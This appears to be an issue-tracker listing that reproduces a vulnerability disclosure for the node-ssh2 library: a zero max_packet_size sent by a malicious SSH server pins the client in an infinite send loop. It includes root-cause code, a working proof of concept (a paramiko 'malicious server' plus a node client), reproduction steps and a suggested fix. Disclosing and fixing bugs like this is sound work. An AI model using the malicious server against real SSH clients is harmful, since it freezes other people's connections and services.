max_packet_size=0 channel-send infinite loop (post-auth DoS) — RFC 4254 §5.1 cluster
Nobody has claimed this yet.
- Dominant language
- JavaScript
- Stars
- 5.8k
- Forks
- 734
- PR merge metrics
- No merged PRs in 30d
Description
node-ssh2 (mscdex/ssh2) max_packet_size=0 channel-send infinite loop
Identity
- Target: node-ssh2 / mscdex/ssh2 (commit 318d447ce3ac, current at time of report)
- Vulnerable site:
lib/Channel.jschannel-data send loop (lines ~44-66 and ~159-177) - Class: CWE-835 (infinite loop) — the SSH
max_packet_size=0cluster (RFC 4254 §5.1 silent on 0) - Reachability: post-auth; a malicious SSH server advertises
max_packet_size=0in
SSH_MSG_CHANNEL_OPEN_CONFIRMATION; the client wedges when it next writes channel data - Impact: client DoS — Node event loop pinned at ~100% CPU, connection/terminal freeze
Root cause
// lib/Channel.js (send loop)
const packetSize = outgoing.packetSize; // stored raw from peer's OPEN_CONFIRMATION
while (len - p > 0 && window > 0) {
let sliceLen = len - p;
if (sliceLen > window) sliceLen = window;
if (sliceLen > packetSize) sliceLen = packetSize; // no floor; packetSize=0 -> sliceLen=0
... // send sliceLen bytes of CHANNEL_DATA
p += sliceLen; // p += 0
window -= sliceLen; // window -= 0
}
With packetSize = 0 and window > 0, sliceLen is clamped to 0; p and window never change →
synchronous infinite loop emitting 0-length CHANNEL_DATA, pinning the Node event loop. No >= 1
floor is enforced on the peer-supplied packet size (contrast OpenSSH channels.c:3079,
dropbear common-channel.c:716, paramiko _sanitize_packet_size, Go x/crypto minPacketLength=9,
Maverick < 4096 reject, all of which defend).
Proof of concept
malicious_server.py (shared paramiko server, Transport.default_max_packet_size = 0) +
client.js (node-ssh2 client). The client connects, opens a shell channel, and writes 8 KiB.
$ bash repro.sh
[+] malicious server up on :2307 (advertises max_packet_size=0)
[+] running node-ssh2 client (timeout 8s; expect SIGTERM at wedge)
[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)
[+] exit: timeout-killed (124) = client wedged in send loop = VULNERABLE
The client never reaches the "returned after write" line; timeout kills it at the wedge.
Impact
Post-auth, client-side DoS (connect to / be redirected to a malicious server). Low–Medium — same
class as the reported asyncssh/libssh/PuTTY/Twisted/SSHJ (all now fixed).
Suggested fix
Reject or clamp the peer's packet size on receipt, e.g. packetSize = Math.max(packetSize, 1) (or
reject SSH_MSG_CHANNEL_OPEN_CONFIRMATION with max_packet_size == 0), matching the defended impls.
Reproduction package
client.js— node-ssh2 client (npm install ssh2)malicious_server.py— shared paramiko server (maxpkt=0)repro.sh/output.txt
PoC source (client.js)
// node-ssh2 (mscdex/ssh2) max_packet_size=0 reproducer.
// Connects to malicious_server.py (which advertises max_packet_size=0 in
// CHANNEL_OPEN_CONFIRMATION), opens a session, and writes channel data.
// Once outgoing.packetSize == 0, Channel.js send loop computes
// sliceLen = min(len-p, window, packetSize) = 0 -> p += 0, window -= 0
// and never advances -> synchronous infinite loop pinning the Node event loop.
//
// Run: npm install ssh2 && node client.js [port]
const { Client } = require('ssh2');
const port = parseInt(process.argv[2] || '2300', 10);
const conn = new Client();
conn.on('ready', () => {
conn.shell(false, (err, stream) => {
if (err) { console.error(err); process.exit(2); }
// server's OPEN_CONFIRMATION carried max_packet_size=0 -> outgoing.packetSize=0
console.log('[client] channel opened; outgoing.packetSize =',
stream._channel && stream._channel.outgoing && stream._channel.outgoing.packetSize);
console.log('[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)');
stream.write(Buffer.alloc(8192, 0x58)); // <-- wedges here if vulnerable
console.log('[client] returned after write -> NOT vulnerable (unexpected)');
conn.end();
});
});
conn.on('error', (e) => { console.error('[client] conn error:', e.message); });
conn.connect({ host: '127.0.0.1', port, username: 'x', password: 'x',
readyTimeout: 8000 });
PoC source (malicious_server.py)
#!/usr/bin/env python3
# Malicious SSH server: real paramiko KEX/auth, but advertises max_packet_size=0.
# Requires: pip install paramiko
# Usage: python3 malicious_server.py <port> [authmode] (authmode: pass|none)
import sys, time, socket, threading, warnings
warnings.filterwarnings("ignore")
import paramiko
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2300
AUTHMODE = sys.argv[2] if len(sys.argv) > 2 else "pass"
class _AcceptAll(paramiko.ServerInterface):
def get_allowed_auths(self, username): return "password,none"
def check_auth_none(self, username):
return paramiko.AUTH_SUCCESSFUL if AUTHMODE == "none" else paramiko.AUTH_FAILED
def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel): return True
def check_channel_exec_request(self, channel, command): return True
def check_channel_pty_request(self, *a): return True
host_key = paramiko.RSAKey.generate(2048)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", PORT)); srv.listen(5)
print(f"[server] listening 127.0.0.1:{PORT} (advertises max_packet_size=0)", flush=True)
while True:
conn, _ = srv.accept()
t = paramiko.Transport(conn)
t.add_server_key(host_key)
t.default_max_packet_size = 0 # <-- weapon
def run(tr=t):
try: tr.start_server(server=_AcceptAll())
except Exception as e: print("[server] ended:", e, flush=True)
while tr.is_active(): time.sleep(0.5)
threading.Thread(target=run, daemon=True).start()
Steps to reproduce:
pip install paramikoandnpm install ssh2python3 malicious_server.py 2307 pass &timeout 8 node client.js 2307(client.js is inlined above)- The client never returns from
stream.write(...);timeoutkills it (exit 124) = wedged = vulnerable.
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with the channel-data send loops in lib/Channel.js, then run repro.sh with client.js and malicious_server.py to confirm the zero packet-size behavior. Trace how max_packet_size from SSH_MSG_CHANNEL_OPEN_CONFIRMATION reaches outgoing.packetSize. Done means the client no longer wedges when the server advertises zero and the reproduction completes instead of timing out.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, node.js, python
- Domain
- security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 75/100